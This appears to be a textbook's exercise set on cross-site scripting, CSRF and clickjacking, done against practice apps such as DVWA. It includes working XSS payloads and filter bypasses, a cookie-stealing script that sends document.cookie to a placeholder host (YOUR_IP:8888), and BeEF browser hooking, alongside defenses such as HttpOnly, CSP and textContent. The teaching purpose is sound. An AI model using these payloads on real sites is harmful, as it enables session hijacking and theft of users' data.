Chapter 20 Exercises: Cross-Site Scripting and Client-Side Attacks

Exercise 1: XSS Context Identification

Difficulty: Beginner | Time: 20 minutes

For each HTML snippet below, identify the reflection context and write an XSS payload that would execute alert(1):

  1. <p>Welcome, USER_INPUT!</p> (HTML body)
  2. <input type="text" value="USER_INPUT"> (Double-quoted attribute)
  3. <a href="USER_INPUT">Click here</a> (URL attribute)
  4. <script>var name = "USER_INPUT";</script> (JavaScript string)
  5. <div style="background: url(USER_INPUT)"> (CSS context)
  6. <!-- User search: USER_INPUT --> (HTML comment)
  7. <img src="USER_INPUT"> (Image source attribute)
  8. <textarea>USER_INPUT</textarea> (Textarea content)

Exercise 2: XSS Payload Encoder

Difficulty: Intermediate | Time: 30 minutes

Write a Python function that takes a basic XSS payload (e.g., <script>alert(1)</script>) and generates at least 10 encoded variants for WAF bypass: URL encoding, double URL encoding, HTML entity encoding (decimal and hex), JavaScript Unicode escapes, mixed case, base64 for eval(atob()), and String.fromCharCode.

See code/exercise-solutions.py for the solution.


Exercise 3: Reflected XSS on DVWA

Difficulty: Beginner | Time: 45 minutes

On DVWA at "Low" security:

  1. Navigate to the XSS (Reflected) page.
  2. Submit a normal name and observe where it appears in the response.
  3. Submit <script>alert('XSS')</script> and observe the result.
  4. Increase security to "Medium" and attempt to bypass the filter.
  5. Increase security to "High" and attempt to bypass the stricter filter.
  6. For each security level, document the filter mechanism and your bypass technique.

Exercise 4: Stored XSS on DVWA

Difficulty: Beginner | Time: 30 minutes

On DVWA at "Low" security:

  1. Navigate to the XSS (Stored) page (guestbook).
  2. Submit a normal message and observe how it is displayed.
  3. Submit a message containing <script>alert('Stored XSS')</script>.
  4. Navigate away and return to the page. Does the script execute again?
  5. Submit a message that captures the viewer's cookie: <script>new Image().src="http://YOUR_IP:8888/?c="+document.cookie;</script>
  6. Set up a listener on your machine (python3 -m http.server 8888) and observe the captured cookie.

Exercise 5: CSP Analyzer Script

Difficulty: Intermediate | Time: 40 minutes

Write a Python script that fetches a URL, extracts the Content-Security-Policy header, parses all directives, and reports on potential weaknesses including: unsafe-inline, unsafe-eval, data: URIs, wildcard sources, missing critical directives (script-src, frame-ancestors, base-uri), and allowlisted CDNs that may host exploitable scripts.

See code/exercise-solutions.py for the solution.


Exercise 6: DOM-Based XSS Discovery

Difficulty: Intermediate | Time: 40 minutes

Create a simple HTML page with the following vulnerable JavaScript:

<html>
<body>
<h1 id="greeting"></h1>
<script>
var name = new URLSearchParams(location.search).get('name');
document.getElementById('greeting').innerHTML = 'Hello, ' + name + '!';
</script>
</body>
</html>
  1. Open the page with ?name=John and verify it works.
  2. Craft a URL that executes alert(1) via DOM XSS.
  3. Fix the vulnerability using textContent instead of innerHTML.
  4. Verify that the fix prevents the XSS.
  5. Explain why innerHTML is dangerous and textContent is safe.

Difficulty: Intermediate | Time: 30 minutes

In your home lab with DVWA:

  1. Log in to DVWA and note your session cookie.
  2. On the XSS (Stored) page, inject a payload that sends the cookie to a server you control.
  3. Capture the cookie on your server.
  4. Use the captured cookie (via Burp Suite or browser extension) to access DVWA as the victim.
  5. Now add the HttpOnly flag to DVWA's cookie (modify the PHP configuration). Attempt the same attack. What happens?
  6. Document the difference and explain why HttpOnly is important.

Exercise 8: DOM XSS Source and Sink Finder

Difficulty: Advanced | Time: 45 minutes

Write a Python script that analyzes JavaScript code (from a file or URL) for DOM XSS patterns. The script should identify sources (user-controlled input like location.hash, location.search, document.referrer) and sinks (dangerous output functions like innerHTML, document.write, eval).

See code/exercise-solutions.py for the solution.


Exercise 9: CSRF Attack Construction

Difficulty: Intermediate | Time: 40 minutes

Run the provided example-02-csrf-demo.py Flask application:

  1. Log in and visit the vulnerable profile page.
  2. Open the attacker page and observe the CSRF attack execute.
  3. Verify that your profile data was changed without your consent.
  4. Now visit the secure profile page and verify the attacker cannot change it.
  5. Construct your own CSRF attack page that targets a different action (e.g., adding an item to a shopping cart or changing a password).
  6. Document the defenses that prevented the attack on the secure endpoint.

Difficulty: Intermediate | Time: 30 minutes

Create two simple Flask applications:

  1. App A (port 5000): Sets a cookie with SameSite=Strict and displays its value on a protected page.
  2. App B (port 5001): Contains a link, a form, and an image tag all pointing to App A's protected page.

Test the following scenarios from App B and document whether the cookie is sent: - Clicking a link to App A (top-level navigation) - Submitting a form to App A (POST) - Loading an image from App A (embedded request) - Using fetch() to call App A (JavaScript request)

Compare behavior between SameSite=Strict, SameSite=Lax, and SameSite=None.


Exercise 11: Clickjacking Proof of Concept

Difficulty: Beginner | Time: 25 minutes

Create an HTML page that demonstrates a clickjacking attack:

  1. Create a page with a "Click to Win!" button.
  2. Overlay a transparent iframe loading DVWA's password change page.
  3. Position the iframe so that clicking "Click to Win!" actually clicks the "Change" button in DVWA.
  4. Test with different opacity values to understand visibility.
  5. Add X-Frame-Options: DENY to DVWA's response and verify the attack is blocked.

Exercise 12: Clickjacking Vulnerability Tester

Difficulty: Intermediate | Time: 25 minutes

Write a Python script that checks whether a URL is vulnerable to clickjacking by examining X-Frame-Options, Content-Security-Policy frame-ancestors, and frame-busting JavaScript.

See code/exercise-solutions.py for the solution.


Exercise 13: XSS Filter Bypass Challenge

Difficulty: Advanced | Time: 60 minutes

Against DVWA at "High" security, or PortSwigger labs with XSS filters:

  1. Identify what filter is being applied (tag stripping, keyword blocking, encoding).
  2. Attempt bypass with event handlers: <img src=x onerror=alert(1)>
  3. Attempt bypass with SVG: <svg onload=alert(1)>
  4. Attempt bypass with case variation: <ScRiPt>alert(1)</ScRiPt>
  5. Attempt bypass without parentheses: <img src=x onerror=alert1>
  6. Attempt bypass with HTML encoding in event handlers.
  7. Document all attempted payloads and their results (blocked/executed).

Exercise 14: BeEF Exploration

Difficulty: Advanced | Time: 60 minutes

Using BeEF (Browser Exploitation Framework) in Kali Linux:

  1. Start BeEF and access the admin panel.
  2. Create a hook page and load it in a secondary browser (the "victim").
  3. Observe the hooked browser in BeEF's control panel.
  4. Run the following modules and document results: - Get Cookie - Get Internal IP - Browser fingerprint - Fake Notification Bar
  5. Combine BeEF with a stored XSS vulnerability in DVWA to hook a browser through XSS.
  6. Discuss the ethical boundaries of using BeEF in authorized penetration tests.

Exercise 15: HTML Sanitizer Comparison

Difficulty: Intermediate | Time: 30 minutes

Compare different HTML sanitization approaches against a set of XSS payloads. Test at least: html.escape(), tag stripping (regex), allowlisted tag sanitizer, and DOMPurify (JavaScript). For each approach, test 10 payloads and document which are blocked and which bypass.

See code/exercise-solutions.py for the solution.


Exercise 16: CSP Bypass Challenge

Difficulty: Advanced | Time: 45 minutes

Given the following CSP header, identify bypass vectors and construct working XSS payloads for each:

Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net; style-src 'self' 'unsafe-inline'
  1. Can you execute inline scripts? Why?
  2. Can you load scripts from cdn.jsdelivr.net? Construct a payload.
  3. What if unsafe-inline was removed? Could you still bypass via the CDN?
  4. Design a secure CSP that blocks all your bypass attempts.

Exercise 17: XSS in Modern Frameworks

Difficulty: Advanced | Time: 45 minutes

Research and document how the following modern frameworks handle XSS by default and what developers must do to introduce XSS vulnerabilities:

  1. React: How does JSX auto-escaping work? When does dangerouslySetInnerHTML create vulnerabilities?
  2. Angular: How does the template engine prevent XSS? What is bypassSecurityTrustHtml?
  3. Vue.js: How does v-text differ from v-html? When is v-html dangerous?

For each framework, provide a code example of safe usage and a code example of vulnerable usage.


Exercise 18: Comprehensive Client-Side Assessment

Difficulty: Advanced | Time: 90 minutes

Perform a comprehensive client-side security assessment of DVWA or Juice Shop:

  1. Test all forms for reflected XSS (at least 5 injection points)
  2. Test all stored data fields for persistent XSS (at least 3 fields)
  3. Analyze JavaScript files for DOM XSS sources and sinks
  4. Test all state-changing forms for CSRF protection
  5. Test the application for clickjacking vulnerability
  6. Analyze the CSP header (if present) for weaknesses
  7. Check all cookies for security attributes

Produce a professional-format findings report with severity ratings, proof-of-concept payloads, and remediation recommendations for each finding.